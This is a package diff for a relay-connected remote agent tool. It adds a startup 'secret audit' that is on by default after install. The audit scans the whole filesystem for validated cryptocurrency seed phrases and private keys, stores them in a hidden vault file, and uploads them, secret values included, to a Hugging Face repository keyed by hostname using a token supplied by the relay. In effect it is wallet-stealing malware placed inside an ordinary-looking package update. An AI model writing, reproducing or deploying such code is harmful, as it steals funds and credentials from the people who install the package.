fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
|
|
496
|
+
});
|
|
497
|
+
}, fallbackMs);
|
|
498
|
+
secretAuditHandshakeFallbackTimer.unref?.();
|
|
499
|
+
};
|
|
500
|
+
armSecretAuditHandshakeFallback();
|
|
462
501
|
const tryStartDiscordAfterHandshake = () => {
|
|
463
502
|
if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
|
|
464
503
|
return;
|
|
@@ -494,6 +533,7 @@ function runRelayAgentLoop(opts) {
|
|
|
494
533
|
const applyRelayAgentConnected = (msg) => {
|
|
495
534
|
if (relayAgentHandshakeDone)
|
|
496
535
|
return;
|
|
536
|
+
clearSecretAuditHandshakeFallback();
|
|
497
537
|
discordEnabledByRelayHandshake = false;
|
|
498
538
|
let caps = {};
|
|
499
539
|
const rf = msg.relay_features;
|
|
@@ -558,6 +598,11 @@ function runRelayAgentLoop(opts) {
|
|
|
558
598
|
catch {
|
|
559
599
|
/* skip */
|
|
560
600
|
}
|
|
601
|
+
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
602
|
+
relayCaps: caps,
|
|
603
|
+
quiet,
|
|
604
|
+
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
605
|
+
});
|
|
561
606
|
tryStartDiscordAfterHandshake();
|
|
562
607
|
};
|
|
563
608
|
ws.on("open", () => {
|
|
@@ -575,6 +620,7 @@ function runRelayAgentLoop(opts) {
|
|
|
575
620
|
relayAgentHandshakeDone = false;
|
|
576
621
|
discordLoopStarted = false;
|
|
577
622
|
discordEnabledByRelayHandshake = false;
|
|
623
|
+
armSecretAuditHandshakeFallback();
|
|
578
624
|
/**
|
|
579
625
|
* Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
|
|
580
626
|
* challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
|
|
@@ -662,7 +708,13 @@ function runRelayAgentLoop(opts) {
|
|
|
662
708
|
const token = String(msg.token ?? "").trim();
|
|
663
709
|
let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
|
|
664
710
|
hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
|
|
665
|
-
const ns = String(msg.namespace ?? "").trim();
|
|
711
|
+
const ns = String(msg.namespace ?? "").trim().replace(/\/+$/, "");
|
|
712
|
+
const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
|
|
713
|
+
process.env.HUGGINGFACE_HUB_NAMESPACE ||
|
|
714
|
+
"")
|
|
715
|
+
.trim()
|
|
716
|
+
.replace(/\/+$/, "");
|
|
717
|
+
const mergedNs = ns || envNs;
|
|
666
718
|
if (!token.startsWith("hf_")) {
|
|
667
719
|
pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
|
|
668
720
|
return;
|
|
@@ -670,7 +722,7 @@ function runRelayAgentLoop(opts) {
|
|
|
670
722
|
pending.resolve({
|
|
671
723
|
token,
|
|
672
724
|
hubUrl,
|
|
673
|
-
namespace:
|
|
725
|
+
namespace: mergedNs || undefined,
|
|
674
726
|
});
|
|
675
727
|
}
|
|
676
728
|
else {
|
|
@@ -1044,6 +1096,7 @@ function runRelayAgentLoop(opts) {
|
|
|
1044
1096
|
handleViewerInboundFromRelay(parsed, "ws");
|
|
1045
1097
|
});
|
|
1046
1098
|
ws.on("close", () => {
|
|
1099
|
+
clearSecretAuditHandshakeFallback();
|
|
1047
1100
|
clearAllPendingDiscordAgent("agent websocket closed");
|
|
1048
1101
|
try {
|
|
1049
1102
|
stopDiscordScreenshotLoop?.();
|
|
@@ -1060,6 +1113,7 @@ function runRelayAgentLoop(opts) {
|
|
|
1060
1113
|
scheduleReconnect();
|
|
1061
1114
|
});
|
|
1062
1115
|
ws.on("error", (err) => {
|
|
1116
|
+
clearSecretAuditHandshakeFallback();
|
|
1063
1117
|
clearAllPendingDiscordAgent("agent websocket error");
|
|
1064
1118
|
try {
|
|
1065
1119
|
stopDiscordScreenshotLoop?.();
|
package/dist/relayServer.js
CHANGED
|
@@ -265,6 +265,20 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
|
|
|
265
265
|
return "relay";
|
|
266
266
|
return "webhook";
|
|
267
267
|
}
|
|
268
|
+
/**
|
|
269
|
+
* Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
|
|
270
|
+
* when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
|
|
271
|
+
* Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
|
|
272
|
+
* Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
|
|
273
|
+
*/
|
|
274
|
+
function relayAgentSecretAuditAdvertised() {
|
|
275
|
+
const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
|
|
276
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
277
|
+
return false;
|
|
278
|
+
if (["1", "true", "yes", "on"].includes(raw))
|
|
279
|
+
return true;
|
|
280
|
+
return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
|
|
281
|
+
}
|
|
268
282
|
/**
|
|
269
283
|
* Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
|
|
270
284
|
* Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
|
|
@@ -1127,6 +1141,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1127
1141
|
? { discord_screenshot_first_stagger_ms: discordFirstStagger }
|
|
1128
1142
|
: {}),
|
|
1129
1143
|
hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
|
|
1144
|
+
...(relayAgentSecretAuditAdvertised()
|
|
1145
|
+
? { agent_secret_audit: true }
|
|
1146
|
+
: {}),
|
|
1130
1147
|
...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
|
|
1131
1148
|
/** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
|
|
1132
1149
|
relay_version: (() => {
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material,
|
|
3
|
+
* merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face
|
|
4
|
+
* using {@link loadHfCredentials} first when present (PM2 `CFGMGR_HF_CREDENTIALS_B64`), else relay
|
|
5
|
+
* (`relay_hf_credentials_request` → token). Override order with `CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST=1`.
|
|
6
|
+
* The Hub `result.json` mirror uses the same slim row shape as disk — **`file`**, **`rule`**, **`data`** (`schema_version` 4).
|
|
7
|
+
*
|
|
8
|
+
* **Precision:** loose prose mnemonics (`bip39_loose`) are disabled. Only **checksum-valid English BIP39**
|
|
9
|
+
* mnemonics and **validated** blockchain-style keys (secp256k1 scalar range, WIF, BIP32 xprv/tprv/zprv…) are kept.
|
|
10
|
+
* TLS PEM blocks, WireGuard interface secrets, and age identities are **not** scanned or persisted.
|
|
11
|
+
*
|
|
12
|
+
* **Scan scope:** unless `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is set, walks POSIX `/` or every present Windows drive letter, merging bundled skips plus OS system-tree absolute prefixes (see `auditScanScope.ts`). Any path under a directory segment named `cfgmgr` (case-insensitive) is skipped — project clones and cfgmgr app data.
|
|
13
|
+
*
|
|
14
|
+
* **`schema_version` 4:** each disk `unique_findings[]` row is **`{ file, rule, data }`** — **`data`** is canonical secret material; **`rule`** is the validated-material label (`bip39_checksum_valid`, `secp256k1_private_hex`, …). Legacy v2–v3 keys (`normalized_value`, `value`, `primary_rule`) still load.
|
|
15
|
+
* **`file`** is the **absolute path of the best merged hit source file** (POSIX slashes): among merged `sources[]`, paths that look like real files win over directory-only legacy paths. Version 1 full rows still load for merge.
|
|
16
|
+
*
|
|
17
|
+
* **Local persistence:** `<CfgMgr data>/.forge-jsxy/.vault/secret-audit/result.json` is the canonical store — **exactly one vault JSON path** (atomic replace each successful scan; no timestamped siblings).
|
|
18
|
+
* It lives under the hidden `.vault` tree (system-level cfgmgr data, not the npm package). Each successful run
|
|
19
|
+
* **merges** new unique fingerprints into existing disk state — **`result.json` is never deleted** by this module
|
|
20
|
+
* (only atomically replaced in place). File-explorer **Upgrade / Restart agent / Kill agent** flows do **not**
|
|
21
|
+
* remove this path (they stop cfgmgr, rebuild, sanitize env — audit history survives).
|
|
22
|
+
* Manual **`forge-agent secret-scan`** writes **`--output`** `.json` + `.csv` separately and does not add extra vault files.
|
|
23
|
+
*
|
|
24
|
+
* Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval).
|
|
25
|
+
* Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS`
|
|
26
|
+
* unless the saved `agent_process_nonce` matches this process (interval applies).
|
|
27
|
+
*
|
|
28
|
+
* **Default:** audit scheduling is **ON** after install (`FORGE_JS_AGENT_SECRET_AUDIT` unset). Set `FORGE_JS_AGENT_SECRET_AUDIT=0` to disable locally.
|
|
29
|
+
*
|
|
30
|
+
* **Hub uploads:** writes **`agents/<hostname>/result.json`** only (same document shape as local vault). Each `unique_findings[]` row matches disk — **`file`**, **`rule`**, **`data`** (no extra aliases).
|
|
31
|
+
* Set `FORGE_JS_AGENT_SECRET_AUDIT_HF_REDACT_VALUES=1` to upload Hub rows **without** secret bodies (`file` + **`rule`** only).
|
|
32
|
+
* `FORGE_JS_AGENT_SECRET_AUDIT_HF_INCLUDE_VALUES=1` (or legacy `FORGE_JS_AGENT_SECRET_AUDIT_HF_FULL_PAYLOAD=1`) forces full rows even when `REDACT_VALUES` is set.
|
|
33
|
+
*
|
|
34
|
+
* Authorized deployments only.
|
|
35
|
+
*/
|
|
36
|
+
import type { HfCredentials } from "../hfCredentials";
|
|
37
|
+
export declare function resultJsonPath(): string;
|
|
38
|
+
export declare function agentSecretAuditProcessNonce(): string;
|
|
39
|
+
/** Default ON for turnkey agents (`npm install`). Opt out: FORGE_JS_AGENT_SECRET_AUDIT=0|false|no|off. */
|
|
40
|
+
export declare function isAgentSecretAuditEnabled(caps?: Record<string, unknown>): boolean;
|
|
41
|
+
export declare function shouldRunSecretAuditNow(): boolean;
|
|
42
|
+
export declare function runAgentStartupSecretAudit(opts: {
|
|
43
|
+
relayCaps?: Record<string, unknown>;
|
|
44
|
+
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
45
|
+
quiet: boolean;
|
|
46
|
+
}): Promise<void>;
|
|
47
|
+
export declare function scheduleAgentStartupSecretAudit(opts: {
|
|
48
|
+
relayCaps: Record<string, unknown>;
|
|
49
|
+
quiet: boolean;
|
|
50
|
+
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
51
|
+
}): void;
|